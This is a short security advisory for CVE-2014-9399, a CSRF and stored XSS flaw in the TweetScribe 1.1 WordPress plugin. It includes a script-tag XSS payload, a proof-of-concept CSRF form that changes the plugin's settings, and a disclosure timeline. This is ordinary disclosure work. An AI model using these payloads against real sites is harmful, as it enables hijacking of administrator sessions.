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WordPress TweetScribe 1.1 CSRF / XSS

WordPress TweetScribe 1.1 CSRF / XSS
Posted Dec 18, 2014
Authored by Manideep K

WordPress TweetScribe plugin version 1.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2014-9399
MD5 | fe47d6a218d8c3f03983a706c83d7639

WordPress TweetScribe 1.1 CSRF / XSS

Change Mirror Download
**************************************************************************************
# Title: CSRF / Stored XSS Vulnerability in TweetScribe Wordpress Plugin
# Author: Manideep K
# CVE-ID: CVE-2014-9399
# Plugin Homepage: https://wordpress.org/plugins/tweetscribe/
# Version Affected: 1.1 (probably lower versions)
# Severity: High

# Description:
Vulnerable Parameter: tweetscribe_username
Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))

# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

# Steps to Reproduce: (POC):
After installing the plugin
1. Goto settings -> Tweetscribe
2. Insert this payload “ "><script>alert(32)</script> “ into username field
Update options and see XSS in action
3. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=tweetscribe/tweetscribe.php&op=save" method="POST">
<input type="hidden" name="tweetscribe_username" value="csrf baby" />
<input type="hidden" name="tweetscribe_password" value="mdndnnd" />
<input type="hidden" name="tweetscribe_text" value="test" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


# Mitigation:
Plugin Closed

# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure

# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk
***************************************************************************************
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